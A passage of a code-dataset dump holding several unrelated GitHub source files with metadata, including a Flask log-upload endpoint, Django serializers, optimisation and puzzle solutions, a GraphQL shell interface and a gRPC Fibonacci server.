Meta:\n model = Category\n fields = ('name', 'slug')\n\n\nclass TitlesGetSerializer(serializers.ModelSerializer):\n \"\"\"Сериализатор чтения для эндпойнта /titles/\"\"\"\n genre = GenreSerializer(many=True)\n category = CategorySerializer()\n rating = serializers.IntegerField()\n\n class Meta:\n model = Title\n fields = ('id', 'name', 'year', 'rating', 'description', 'genre',\n 'category')\n\n\nclass TitlesSerializer(serializers.ModelSerializer):\n \"\"\"Сериализатор записи для эндпойнта /titles/\"\"\"\n genre = serializers.SlugRelatedField(\n queryset=Genre.objects.all(),\n slug_field='slug', many=True\n )\n category = serializers.SlugRelatedField(\n queryset=Category.objects.all(),\n slug_field='slug'\n )\n\n def validate_year(self, value):\n year = datetime.today().year\n if value > year:\n raise serializers.ValidationError('Год указан неверно!')\n return value\n\n class Meta:\n model = Title\n fields = ('id', 'name', 'year', 'description', 'genre',\n 'category')\n\n\nclass ReviewSerializer(serializers.ModelSerializer):\n \"\"\"Сериализатор для эндпойнта /reviews/\"\"\"\n author = serializers.SlugRelatedField(\n slug_field='username', read_only=True,\n default=serializers.CurrentUserDefault())\n\n class Meta:\n fields = ('id', 'text', 'author', 'score', 'pub_date')\n model = Review\n read_only_fields = ('author', 'pub_date')\n\n def validate(self, data):\n if self.context['request'].stream.method != 'POST':\n return data\n author = self.context['request'].user\n title_id = (self.context['request'].\n parser_context['kwargs'].get('title_id'))\n queryset = Review.objects.filter(author=author, title=title_id)\n if queryset.exists() is True:\n raise serializers.ValidationError(\n 'Можно оставить только один отзыв на произведение!')\n return data\n\n\nclass CommentSerializer(serializers.ModelSerializer):\n \"\"\"Сериализатор для эндпойнта /comments/\"\"\"\n author = serializers.SlugRelatedField(\n slug_field='username', read_only=True,\n default=serializers.CurrentUserDefault())\n\n class Meta:\n fields = ('id', 'text', 'author', 'pub_date')\n model = Comment\n read_only_fields = ('author', 'pub_date')\n","repo_name":"Vladislav-76/api_yamdb","sub_path":"api_yamdb/api/v1/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":4622,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"32683073374","text":"import binascii\nimport hashlib\nimport json\nimport os\nimport re\nimport shutil\nimport subprocess\nimport time\nimport zipfile\n\nfrom flask import current_app, Blueprint, g, jsonify, request, url_for, Response\n\nfrom pylogstf.extensions import cache\nfrom pylogstf.models import db, APIKey, Log, LogPlayer\nfrom pylogstf.steamid import to_steam64\nfrom pylogstf.tasks import after_upload, update_profile\n\nupload = Blueprint('upload', __name__)\n\n\n@upload.route('/upload', methods=['POST'])\ndef upload_log() -> Response:\n key = request.args.get('key') or request.form.get('key')\n ip = request.remote_addr\n\n if not key and not g.user:\n return jsonify(success=False, error='Missing authentication'), 400\n\n # Get uploader user info\n if key:\n q = APIKey.query.filter(APIKey.key == key).first()\n if not q:\n current_app.logger.error(f'Invalid API key from {ip}')\n return jsonify(success=False, error='Invalid API key'), 400\n uploader_id = q.id\n uploader_name = q.name\n else:\n uploader_id = g.user['id']\n uploader_name = g.user['nick']\n\n # Get form data\n log_file = request.files.get('logfile')\n log_title = request.args.get('title') or request.form.get('title')\n log_tf2map = request.args.get('map') or request.form.get('map') or ''\n log_uploader = request.form.get('uploader') or request.args.get('uploader')\n\n # Check if updating existing log\n log_id_to_update_str = request.form.get('updatelog')\n log_id_to_update = False\n if log_id_to_update_str:\n try:\n log_id_to_update = int(log_id_to_update_str)\n except ValueError:\n current_app.logger.error(f'Log update: Log ID should be an integer ({log_id_to_update_str}) from {ip}')\n return jsonify(success=False, error='Log update failed: Log ID should be an integer'), 400\n log_to_update = Log.query.get(log_id_to_update)\n if not log_to_update:\n current_app.logger.error(f'Log update: Log ID not found ({log_id_to_update_str}) from {ip}')\n return jsonify(success=False, error='Log update failed: Log ID not found'), 400\n if log_to_update.uploader_id != uploader_id:\n current_app.logger.error(f'Log update: User ({uploader_id}) not owner of log ({log_id_to_update_str}) from {ip}')\n return jsonify(success=False, error='Log update failed: User not owner of log'), 400\n current_time = time.time()\n if (current_time - log_to_update.date) > 60*60*5:\n return jsonify(success=False, error='Log update failed: 5 hour time limit for update'), 400\n if (current_time - log_to_update.date) < 10:\n return jsonify(success=False, error='Log update failed: Updated too quickly (10sec limit)'), 400\n\n # Form data validation\n if not log_title or len(log_title) < 4:\n log_title = log_file.filename if len(log_file.filename) > 4 else 'Log'\n if not log_file:\n current_app.logger.error('No file from {ip}')\n return jsonify(success=False, error='No file'), 400\n log_title = log_title[:40]\n tf2map = log_tf2map[:24]\n if log_uploader:\n log_uploader = log_uploader[:40]\n\n # Save log file to temporary storage\n temp_log_file_name = binascii.b2a_hex(os.urandom(16)).decode() + '.log'\n temp_log_file_path = os.path.join(\n current_app.config['UPLOAD_FOLDER'], temp_log_file_name\n )\n log_file.save(temp_log_file_path)\n\n # Remove bad stuff from the log file\n # Blocking, but fast execution\n secure_log(temp_log_file_path, [\n ': \".+\" = \".+\"',\n 'rcon from ',\n 'server_cvar:',\n 'connect .+\\\\..+'\n ])\n\n # Send log to log parser\n try:\n json_string = subprocess.check_output(\n ['node', current_app.config['PARSER'], temp_log_file_path],\n cwd=current_app.config['PARSER_FOLDER'],\n stderr=subprocess.STDOUT\n )\n except subprocess.CalledProcessError as e:\n err = 'Invalid log file'\n # If parser throws error, get the error message (hacky!)\n pattern = re.compile(r\"throw '(.+)'\")\n match = pattern.search(str(e.output))\n if match:\n err = match.group(1)\n current_app.logger.error(f'Parser failed from {ip} file {temp_log_file_name} reason: {err}')\n return jsonify(success=False, error=err), 500\n # except Exception:\n # current_app.logger.error(f'Exception {sys.exc_info()[0]} from {ip} file {temp_log_file_name}')\n # return jsonify(success=False, error='Invalid log file'), 500\n\n # Parse log parser's JSON output\n try:\n parsed_log = json.loads(json_string.decode())\n except json.JSONDecodeError:\n current_app.logger.error(f'Invalid parser JSON output from {ip} file {temp_log_file_name}')\n return jsonify(success=False, error='Guru Meditation'), 500\n\n # Get detected map name if not provided\n if not tf2map and parsed_log['info']['map']:\n tf2map = parsed_log['info']['map'][:24]\n\n # Generate hash to check for duplicate logs\n log_hash: str = hashlib.md5(json_string).hexdigest()\n collision: Log = Log.query.filter(Log.hash == log_hash).first()\n if collision:\n return jsonify(\n success=False,\n error=f'Log already exists ({collision.id})',\n log_id=collision.id\n ), 400\n\n\n player_steamids = []\n for player_id in parsed_log['names']:\n player_steamid = to_steam64(player_id)\n if player_steamid > 0:\n player_steamids.append(player_steamid)\n\n\n # Add to database\n if not log_id_to_update:\n log = Log(\n logname=log_title,\n logdata=json_string.decode('utf-8'),\n uploader_id=uploader_id,\n uploader_name=uploader_name,\n uploader_desc=log_uploader,\n tf2map=tf2map,\n date=int(time.time()),\n hash=log_hash,\n player_cache=player_steamids,\n player_count=len(player_steamids),\n )\n db.session.add(log)\n else:\n log_to_update.logname = log_title\n log_to_update.logdata = json_string.decode('utf-8')\n log_to_update.tf2map = tf2map\n log_to_update.date = time.time()\n log_to_update.is_updated = True\n log_to_update.hash = log_hash\n log_to_update.player_cache = player_steamids\n log_to_update.player_count = len(player_steamids)\n db.session.commit()\n\n # UPDATE ONLY: Clean old steamids\n if log_id_to_update:\n LogPlayer.query \\\n .filter(LogPlayer.log_id == log_id_to_update) \\\n .delete(synchronize_session=False)\n db.session.commit()\n\n if log_id_to_update:\n log_id = int(log_id_to_update)\n else:\n log_id = int(log.id)\n\n # Save steamids associated with the log\n player_steamids = []\n for player_id in parsed_log['names']:\n player_steamid = to_steam64(player_id)\n if player_steamid > 0:\n new_player = LogPlayer(\n log_id=log_id,\n player_id=player_steamid,\n name=parsed_log['names'][player_id]\n )\n db.session.add(new_player)\n db.session.commit()\n\n # Invalidate caches\n cache.delete('front_page')\n cache.delete(f'log:{log_id}')\n cache.delete(f'log:title:{log_id}')\n cache.delete(f'log:desc:{log_id}')\n\n # Move away from temporary location\n new_log_filename = f'log_{log_id}.log'\n new_log_path = os.path.join(current_app.config['LOG_FOLDER'], new_log_filename)\n shutil.move(temp_log_file_path, new_log_path)\n\n # Compress log to zip\n zip_filename = f'log_{log_id}.log.zip'\n zip_path = os.path.join(current_app.config['LOG_FOLDER'], zip_filename)\n with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as logzip:\n logzip.write(new_log_path, new_log_filename)\n os.remove(new_log_path)\n\n #after_upload.delay(log_id, temp_log_file_path)\n #update_profile.delay(player_steamids)\n\n current_app.logger.info(f'Added log {log_id}: '\n f'{log_title} @ {log_tf2map} [{uploader_id}] from {ip}')\n\n return jsonify(\n success=True,\n log_id=int(log_id),\n url=url_for('view.view_log', log_id=log_id),\n ), 200\n\n\ndef secure_log(file, filters):\n \"\"\"Cleans up sensitive data from a log file.\"\"\"\n ifile = open(file, 'r', errors='replace')\n lines = ifile.readlines()\n ifile.close()\n\n ofile = open(file, 'w', errors='replace')\n for line in lines:\n for log_filter in filters:\n if re.search(log_filter, line):\n break\n else:\n # Rewrite IPs to 0.0.0.0\n line = re.sub(r'[0-9]+(\\.[0-9]+){3}', '0.0.0.0', line)\n ofile.write(line)\n ofile.close()\n","repo_name":"alevoska/logstf-web","sub_path":"pylogstf/controllers/upload.py","file_name":"upload.py","file_ext":"py","file_size_in_byte":8784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"72564462863","text":"import pickle\n\nfrom similarity.compute_similarity import similarity\n\ndef filter_entities(user_tags, sim_threshold=0.3, to_index_later=\"data/index/to_index.txt\"):\n \"\"\"\n @user_tags: list of tags the user is interested in\n @index: pre-built index of tags\n @sim_threshold: a similarity threshold used when comparing user tag with index tags\n @to_index_later: filepath to a txt file that stores all tags that are not present in the current index but the previous users asked about\n\n Returns the list of entities that have the tags specified by the user along with their ranking scores\n \"\"\"\n res_dict = {t:{} for t in user_tags} # Each user tag has a dict of all entities having the tag with a value of truth\n to_be_indexed = [] # List of user tags not present in the index\n\n for t in user_tags:\n if t in index.keys():\n # This tag already exists in the index\n res_dict[t] = index[t]\n else:\n # This tag does not exist in the index\n # We take the union set postings of all similar tags in the index\n # For the value of truth of this tags, they will be a weighted sum of similar tags degrees of truth where the weights are the similarity scores themselves\n to_be_indexed.append(t)\n sim_sum = 0\n for index_tag in index.keys():\n sim = similarity(t, index_tag)\n if sim > sim_threshold:\n sim_sum += sim\n for entity in index[index_tag].keys():\n if entity in res_dict[t]:\n # If the entity is already present. This usually happens when other tags have this entity and we already added it to this dict\n res_dict[t][entity] += sim * index[index_tag][entity]\n else:\n # If the entity is added for the first time\n res_dict[t][entity] = sim * index[index_tag][entity]\n \n # Divide by the total similarity to make it a weighted average of degrees of truths\n if sim_sum > 0:\n for k in res_dict[t].keys():\n res_dict[t][k] /= sim_sum\n\n \n with open(to_index_later, 'a') as f:\n f.write(\"\\n\".join(to_be_indexed) + \"\\n\")\n \n return res_dict\n\n\n\n\n\n\ndef combine_tags(tag_dict):\n \"\"\"\n @tag_dict: a dictionary whose keys are the tags the user asked about and the values are entities with their degrees of truth\n\n Comptes the intersection of entities of all tags and combines the degrees of truth\n Returns a dict whose keys are business_ids and values are final degrees of truth\n \"\"\"\n\n tags = list(tag_dict.keys())\n result = {}\n for entity in tag_dict[tags[0]]:\n # For each entity in the list of entities of the first tag\n\n score_for_this_entity = tag_dict[tags[0]][entity] #Intialize the final score\n num_visited_tags = 1 # To check the number of tags that have this entity. Must be equal of the number of all tags in order to consdier this entity in the final result\n \n for t in tags[1:]:\n this_tag_has_this_entity = False\n for e in tag_dict[t].keys():\n if entity == e:\n this_tag_has_this_entity = True\n score_for_this_entity += tag_dict[t][e]\n num_visited_tags += 1\n break\n \n if this_tag_has_this_entity == False:\n break\n\n if num_visited_tags == len(tags):\n result[entity] = score_for_this_entity / num_visited_tags\n\n return result\n \n\n\ndef filter_and_rank(user_tags, selected_entities):\n \"\"\"\n @user_tags: the subjective tags the user is interested in\n @selected_entities: list of entities that have already been filtered by objective attributes\n\n Selects the entities in the index that have all subjective tags from the user and are present in @selected_entities\n And ranks them according to their final degrees of truth\n \"\"\"\n entities_per_tag = filter_entities(user_tags)\n subj_entities = combine_tags(entities_per_tag)\n final_results = [(k, subj_entities[k]) for k in subj_entities.keys() if k in selected_entities]\n return sorted(final_results, reverse=True, key=lambda x: x[1])\n\n\n\n\n# Read the index dict\nwith open(\"data/index/index.pkl\", 'rb') as f:\n index = pickle.load(f)\n\n\n\n\nif __name__ == \"__main__\":\n print(\"Filtering began\")\n user_tags = [\"chicken wings delicious\", \"staff friendly\"]\n selected_entities = ['ujmEBvifdJM6h6RLv4wQIg', 'NZnhc2sEQy3RmzKTZnqtwQ', 'mRUVMJkUGxrByzMQ2MuOpA']\n print(filter_and_rank(user_tags, selected_entities))\n # entities_per_tag = filter_entities(user_tags)\n # print(entities_per_tag)\n # subj_entities = combine_tags(entities_per_tag)\n # print(subj_entities)\n ","repo_name":"YacineGACI/subjective_attributes","sub_path":"filter.py","file_name":"filter.py","file_ext":"py","file_size_in_byte":4950,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"13838517788","text":"import sys\r\ninput=sys.stdin.readline\r\n\r\ndef hide(x1, y1, x2, y2):\r\n for j in range(y1-1, y2):\r\n for k in range(x1-1, x2):\r\n arr[j][k]+=1\r\n\r\nn, m = map(int, input().split())\r\narr=[[0]*100 for _ in range(100)]\r\ncount=0\r\nfor i in range(n):\r\n x1, y1, x2, y2 = map(int, input().split())\r\n hide(x1, y1, x2, y2)\r\nfor i in range(100):\r\n for j in range(100):\r\n if arr[i][j]>m:\r\n count+=1\r\nprint(count)","repo_name":"LEEJW1953/baekjoon","sub_path":"백준/Silver/1531. 투명/투명.py","file_name":"투명.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"29975884274","text":"from django.core.management import BaseCommand\nfrom catalog.models import Category\n\n\nclass Command(BaseCommand):\n\n def handle(self, *args, **options):\n Category.objects.all().delete()\n\n category_list = [\n {'name': 'Электроника', 'description': 'Технические устройства и электроника'},\n {'name': 'Одежда', 'description': 'Одежда и аксесс��ары'},\n {'name': 'Спорт', 'description': 'Спортивные товары и снаряжение'},\n {'name': 'Книги', 'description': 'Книги и литература'},\n ]\n\n for category_item in category_list:\n category = Category(**category_item)\n category.save()\n","repo_name":"KapetanVodichka/Catalog_project","sub_path":"catalog/management/commands/fill.py","file_name":"fill.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"35403413892","text":"import copy\nimport time\n\nimport numpy\n\nfrom maze.actors.speedster import Speedster\nfrom maze.actors.accelerator import Accelerator\nfrom maze.actors.scatterbrain import Scatterbrain\nfrom maze.actors.teleporter import Teleporter\nfrom maze.actors.jumper import Jumper\nfrom . import const\nfrom .grid_widget import GridWidget\n\n\nclass Game:\n def __init__(self, array, gui):\n self.edit_array = copy.deepcopy(array)\n self.actors = []\n self.game_mode = False\n self.game_over = False\n self.grid = GridWidget(array, const.CELL_SIZE, self)\n self.gui = gui\n self.start_time = None\n\n def check_play(self):\n if self.grid.unreachable:\n self.gui.uncheck_game_mode_button()\n self.gui.error_dialog(\"Error\", 'Cannot run the game: there is an unreachable dude')\n return\n\n self.game_mode = not self.game_mode\n\n if self.game_mode:\n self.gui.hide_palette()\n self.gui.turn_nongame_buttons(False)\n\n self.edit_array = copy.deepcopy(self.grid.array)\n self.game_over = False\n\n self.start_time = time.time()\n\n # initialize actors\n self.actors = []\n for i in range(const.DUDE_NUM):\n self._init_actor(const.DUDE_VALUE_LIST[i])\n else:\n self.disable_actors()\n\n self.gui.show_palette()\n self.gui.turn_nongame_buttons(True)\n\n self.grid.array = copy.deepcopy(self.edit_array)\n self.grid.update_path()\n self.grid.update()\n\n def _init_actor(self, kind):\n index = numpy.where(self.edit_array == kind)\n\n if len(index[0]) > 0:\n if kind == 2:\n self.actors.append(Scatterbrain(self.grid, index[0][0], index[1][0], kind))\n elif kind == 3:\n self.actors.append(Speedster(self.grid, index[0][0], index[1][0], kind))\n elif kind == 4:\n self.actors.append(Accelerator(self.grid, index[0][0], index[1][0], kind))\n elif kind == 5:\n self.actors.append(Teleporter(self.grid, index[0][0], index[1][0], kind))\n elif kind == 6:\n self.actors.append(Jumper(self.grid, index[0][0], index[1][0], kind))\n\n self.grid.array[index[0][0], index[1][0]] = const.GRASS_VALUE\n\n def disable_actors(self):\n for act in self.actors:\n act.task.cancel()\n\n def is_actor_on_tile(self, row, column):\n for act in self.actors:\n if act.direction == b'>':\n if act.row == row and int(act.column + 1.0) == column:\n return True\n elif act.direction == b'<':\n if act.row == row and int(act.column) == column:\n return True\n elif act.direction == b'^':\n if act.column == column and int(act.row) == row:\n return True\n elif act.direction == b'v':\n if act.column == column and int(act.row + 1.0) == row:\n return True\n else:\n return False\n\n def show_result(self):\n self.game_over = False\n end_time = time.time()\n\n self.gui.game_result_dialog(end_time - self.start_time)\n\n","repo_name":"bobirdmi/maze","sub_path":"maze/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":3280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"73334102862","text":"class Solution:\n def arraysIntersection(self, arr1: List[int], arr2: List[int], arr3: List[int]) -> List[int]:\n p1 = p2 = p3 = 0\n output = []\n while p1 < len(arr1) and p2 < len(arr2) and p3 < len(arr3):\n if arr1[p1] == arr2[p2] == arr3[p3]:\n output.append(arr1[p1])\n p1 += 1\n p2 += 1\n p3 += 1\n else:\n if arr1[p1] < arr2[p2]:\n p1 += 1\n elif arr2[p2] < arr3[p3]:\n p2 += 1\n else:\n p3 += 1\n return output","repo_name":"adnanyaqoobvirk/leetcode","sub_path":"intersection-of-three-sorted-arrays/intersection-of-three-sorted-arrays.py","file_name":"intersection-of-three-sorted-arrays.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"20169091302","text":"import numpy as np\r\nfrom dataset import *\r\nimport time\r\nimport argparse\r\n\r\nparser = argparse.ArgumentParser()\r\nparser.add_argument('--image-class', type=str, default='ClassicImages')\r\nparser.add_argument('--n', type=float, default=32)\r\nparser.add_argument('--data', type=str, choices=['DOTmark', 'random', 'Caffa', 'ellip'], default='random')\r\nparser.add_argument('--iters', type=int, default=15000)\r\nparser.add_argument('--rho', type=float, default=50)\r\nparser.add_argument('--alpha', type=float, default=10)\r\nparser.add_argument('--is-tunning', action=\"store_true\", default=False)\r\n\r\nargs = parser.parse_args()\r\n\r\n\r\ndef init(c):\r\n m, n = c.shape\r\n lamda = np.zeros(m)\r\n eta = np.zeros(n)\r\n e = c - lamda.reshape((m, 1)) - eta.reshape((1, n))\r\n d = np.zeros((m, n))\r\n\r\n return lamda, eta, e, d\r\n\r\n\r\ndef update(m, n, mu, nu, c, lamda, eta, e, d, rho, alpha):\r\n eta_sigma = np.sum(eta)\r\n\r\n lamda = (\r\n (mu + np.sum(d, axis=1)) / rho\r\n - eta_sigma\r\n - np.sum(e, axis=1)\r\n + np.sum(c, axis=1)\r\n ) / n\r\n\r\n lamda_sigma = np.sum(lamda)\r\n\r\n eta = (\r\n (nu + np.sum(d, axis=0)) / rho\r\n - lamda_sigma\r\n - np.sum(e, axis=0)\r\n + np.sum(c, axis=0)\r\n ) / m\r\n\r\n e = d / rho + c - lamda.reshape((m, 1)) - eta.reshape((1, n))\r\n e = np.maximum(e, 0.)\r\n\r\n d = d + alpha * (c - lamda.reshape((m, 1)) - eta.reshape((1, n)) - e)\r\n\r\n return lamda, eta, e, d\r\n\r\n\r\ndef ADMM_dual(c, mu, nu, iters, rho, alpha, is_tunning=False):\r\n m, n = c.shape\r\n lamda, eta, e, d = init(c)\r\n bigrho = rho * 2\r\n while bigrho >= rho:\r\n for j in range(iters):\r\n lamda, eta, e, d = update(m, n, mu, nu, c, lamda, eta, e, d, bigrho, alpha)\r\n\r\n if is_tunning and j % 100 == 0:\r\n pi = -d\r\n print('err1=', np.linalg.norm(pi.sum(axis=1) - mu, 1),\r\n 'err2=', np.linalg.norm(pi.sum(axis=0) - nu, 1),\r\n 'loss= ', (c * pi).sum())\r\n bigrho /= 2\r\n\r\n print('err1=', np.linalg.norm(pi.sum(axis=1) - mu, 1),\r\n 'err2=', np.linalg.norm(pi.sum(axis=0) - nu, 1),\r\n 'loss= ', (c * pi).sum())\r\n\r\n\r\nif __name__ == '__main__':\r\n if args.data == 'DOTmark':\r\n mu, nu = DOTmark_Weight(args.n, args.image_class)\r\n c = DOTmark_Cost(0, 1, 0, 1, args.n)\r\n elif args.data == 'random':\r\n mu = Random_Weight(int(args.n ** 2))\r\n nu = Random_Weight(int(args.n ** 2))\r\n c = Random_Cost(int(args.n ** 2))\r\n elif args.data == 'Caffa':\r\n mu = Const_Weight(int(args.n ** 2))\r\n nu = Const_Weight(int(args.n ** 2))\r\n c = Caffarelli_Cost(int(args.n ** 2), 0, 0, 1, 2)\r\n elif args.data == 'ellip':\r\n mu = Const_Weight(int(args.n ** 2))\r\n nu = Const_Weight(int(args.n ** 2))\r\n c = ellipse_Cost(int(args.n ** 2), 0, 0, 0.5, 2, 0.1)\r\n\r\n start = time.time()\r\n ADMM_dual(c, mu, nu, args.iters, args.rho, args.alpha, is_tunning=args.is_tunning)\r\n print('time usage=', time.time() - start)","repo_name":"BaozCWJ/OptimalTransport","sub_path":"FinalCodes/ADMM_dual.py","file_name":"ADMM_dual.py","file_ext":"py","file_size_in_byte":3139,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"28290628930","text":"import logging\nimport copy\nfrom maverick_api.modules import schemaBase\nimport os\nfrom maverick_api.modules.base.util.process_runner import ProcessRunner\n\n\n# graphql imports\nfrom graphql import (\n GraphQLField,\n GraphQLObjectType,\n GraphQLString,\n GraphQLBoolean,\n GraphQLInt,\n GraphQLFloat,\n)\nfrom graphql.pyutils.simple_pub_sub import SimplePubSubIterator\n\napplication_log = logging.getLogger(\"tornado.application\")\n\n\nclass MaverickShellSchema(schemaBase):\n def __init__(self):\n super().__init__(self)\n self.name = \"MaverickShell\"\n self.shell_command_defaults = {\n \"command\": \"\",\n \"running\": False,\n \"uptime\": None,\n \"stdout\": None,\n \"stderror\": None,\n \"returncode\": None,\n }\n self.shell_command = copy.deepcopy(self.shell_command_defaults)\n self.shell_proc = None\n\n self.shell_command_type = GraphQLObjectType(\n self.name,\n lambda: {\n \"command\": GraphQLField(\n GraphQLString, description=\"The command to run in the shell\",\n ),\n \"running\": GraphQLField(\n GraphQLBoolean, description=\"Is a process running\"\n ),\n \"uptime\": GraphQLField(\n GraphQLFloat,\n description=\"Number of seconds the process has been running for\",\n ),\n \"terminate\": GraphQLField(GraphQLBoolean, description=\"\"),\n \"stdout\": GraphQLField(GraphQLString, description=\"\"),\n \"stderror\": GraphQLField(GraphQLString, description=\"\"),\n \"returncode\": GraphQLField(GraphQLInt, description=\"\"),\n \"width\": GraphQLField(GraphQLInt, description=\"\"),\n \"height\": GraphQLField(GraphQLInt, description=\"\"),\n \"special\": GraphQLField(GraphQLString, description=\"\"),\n },\n description=\"Maverick shell interface\",\n )\n\n self.q = {\n self.name: GraphQLField(\n self.shell_command_type, resolve=self.get_shell_command_status\n )\n }\n\n self.m = {\n self.name: GraphQLField(\n self.shell_command_type,\n args=self.get_mutation_args(self.shell_command_type),\n resolve=self.run_shell_command,\n )\n }\n\n self.s = {\n self.name: GraphQLField(\n self.shell_command_type,\n subscribe=self.sub_shell_command_status,\n resolve=None,\n )\n }\n\n async def run_shell_command(self, root, info, **kwargs):\n application_log.debug(f\"run_shell_command {kwargs}\")\n\n self.shell_command[\"command\"] = kwargs.get(\"command\", \"\")\n self.shell_command[\"terminate\"] = kwargs.get(\"terminate\", False)\n self.shell_command[\"width\"] = kwargs.get(\"width\", 50)\n self.shell_command[\"height\"] = kwargs.get(\"height\", 50)\n cmd = self.shell_command[\"command\"]\n application_log.info(f\"Running shell command: {cmd}\")\n\n if self.shell_command[\"terminate\"]:\n # try to terminate a running command\n if self.shell_proc:\n self.shell_proc.terminate()\n if self.shell_proc:\n # already running?\n if self.shell_proc.complete:\n self.shell_proc = None\n else:\n application_log.debug(\"Process is still running. Providing input\")\n special_cmd = kwargs.get(\"special\", False)\n if special_cmd:\n cmd += special_cmd\n else:\n cmd += \"\\n\"\n os.write(self.shell_proc.pty_master, cmd.encode())\n if not self.shell_proc:\n # try to run the command\n self.shell_proc = ProcessRunner(\n cmd,\n width=self.shell_command[\"width\"],\n height=self.shell_command[\"height\"],\n started_callback=self.start_process_callback,\n output_callback=self.output_process_callback,\n complete_callback=self.complete_process_callback,\n )\n self.shell_proc.start()\n return self.shell_command\n\n def start_process_callback(self, *args, **kwargs):\n ret = {}\n ret[\"command\"] = kwargs[\"command\"]\n ret[\"running\"] = kwargs[\"running\"]\n ret[\"uptime\"] = kwargs[\"uptime\"]\n ret[\"stdout\"] = kwargs[\"stdout\"]\n ret[\"stderror\"] = kwargs[\"stderror\"]\n ret[\"returncode\"] = kwargs[\"returncode\"]\n\n def output_process_callback(self, *args, **kwargs):\n ret = {}\n ret[\"command\"] = kwargs[\"command\"]\n ret[\"running\"] = kwargs[\"running\"]\n ret[\"uptime\"] = kwargs[\"uptime\"]\n ret[\"stdout\"] = kwargs[\"stdout\"]\n ret[\"stderror\"] = kwargs[\"stderror\"]\n ret[\"returncode\"] = kwargs[\"returncode\"]\n # if self.shell_proc.complete:\n self.subscriptions.emit(\n self.subscription_string + self.name, {self.name: ret},\n )\n\n def complete_process_callback(self, *args, **kwargs):\n ret = {}\n ret[\"command\"] = kwargs[\"command\"]\n ret[\"running\"] = kwargs[\"running\"]\n ret[\"uptime\"] = kwargs[\"uptime\"]\n ret[\"stdout\"] = \"\"\n ret[\"stderror\"] = \"\"\n ret[\"returncode\"] = kwargs[\"returncode\"]\n application_log.debug(self.shell_proc.stdout_log)\n application_log.debug(self.shell_proc.stderror_log)\n self.subscriptions.emit(\n self.subscription_string + self.name, {self.name: ret},\n )\n\n def sub_shell_command_status(self, root, info):\n return SimplePubSubIterator(\n self.subscriptions, self.subscription_string + self.name,\n )\n\n def get_shell_command_status(self, root, info):\n return self.shell_command\n","repo_name":"goodrobots/maverick-api","sub_path":"maverick_api/modules/api/maverick/maverick_shell.py","file_name":"maverick_shell.py","file_ext":"py","file_size_in_byte":5914,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"47"} +{"seq_id":"4124745018","text":"import time\nimport smscx_client\nfrom smscx_client.api import shortlinks_api\nfrom pprint import pprint\n\nconfiguration = smscx_client.Configuration(\n # Use authentication via API Key\n api_key = \"YOUR_API_KEY\",\n\n # Uncomment to use authentication via Access Token\n # access_token = \"YOUR_ACCESS_TOKEN\",\n)\n\n# Create an instance of the API class\napi_instance = shortlinks_api.ShortlinksApi(\n smscx_client.ApiClient(configuration)\n) \nshort_id = \"KgTX\" # str | Identifier of the shortlink\n\ntry:\n # Delete shortlink\n api_response = api_instance.delete_shortlink(short_id)\n pprint(api_response)\nexcept smscx_client.ApiException as e:\n print(\"Exception when calling ShortlinksApi->delete_shortlink: %s\\n\" % e)","repo_name":"smscx/smscx-api-python-library","sub_path":"examples/shortlinks-api/delete-shortlink.py","file_name":"delete-shortlink.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"37456916915","text":"import logging\nfrom uuid import uuid4\n\nfrom repository_service_tuf_api import celery, settings_repository, sync_redis\n\n\ndef is_bootstrap_done():\n \"\"\"\n Check if the boot is done.\n \"\"\"\n\n sync_redis()\n if settings_repository.get_fresh(\"BOOTSTRAP\", False):\n return True\n else:\n return False\n\n\ndef get_task_id():\n return uuid4().hex\n\n\n@celery.task(name=\"app.repository_service_tuf_worker\")\ndef repository_metadata(action, payload):\n logging.debug(f\"New tasks action submitted {action}\")\n return True\n","repo_name":"lukpueh/repository-service-tuf-api","sub_path":"repository_service_tuf_api/metadata.py","file_name":"metadata.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"47"} +{"seq_id":"30176980671","text":"# Author: Pallavi\n# Created on : 7th February 2017\n# Modified on:\n\n# fibonacciRPC server\n# Most of the following code is inspired \n#from the sample code provided for client challenge\n\n# Standard library imports\nimport concurrent\nimport json\nimport os\nimport sys\nimport time\n\n# Imports from third party packages\nimport grpc\n\n# Imports from current project\nimport fibonacci_pb2\n\nclass ChallengeServer(fibonacci_pb2.FibonacciComputerServicer):\n def __init__(self):\n super(ChallengeServer, self).__init__()\n self.current_count = 0\n self.success_msg = \"Yaay! All challenges solved!\"\n self.trial_count = 50\n return\n\n # takes the request finds the nth fibonacci\n def GetNthFibonacciNumber (self, request, context):\n n = (request.number -1)\n a, b = 0, 1\n if n == 0:\n response = 0\n elif n == 1:\n response = 1\n else:\n while n > 0:\n a, b = b, a + b\n n = n-1\n response = a\n response = fibonacci_pb2.FibResponse(\n # covert long to str type\n number = str(response)\n )\n return response\n\n \ndef serve():\n if len(sys.argv) != 2:\n print(\"Usage: %s Give port number\" % (sys.argv[0]))\n sys.exit(1)\n\n port = int(sys.argv[1])\n if port < 1 or port >= pow(2, 16):\n print(\"Port number should lie between 1 and 65535\")\n sys.exit(1)\n server = grpc.server(concurrent.futures.ThreadPoolExecutor(max_workers=10))\n 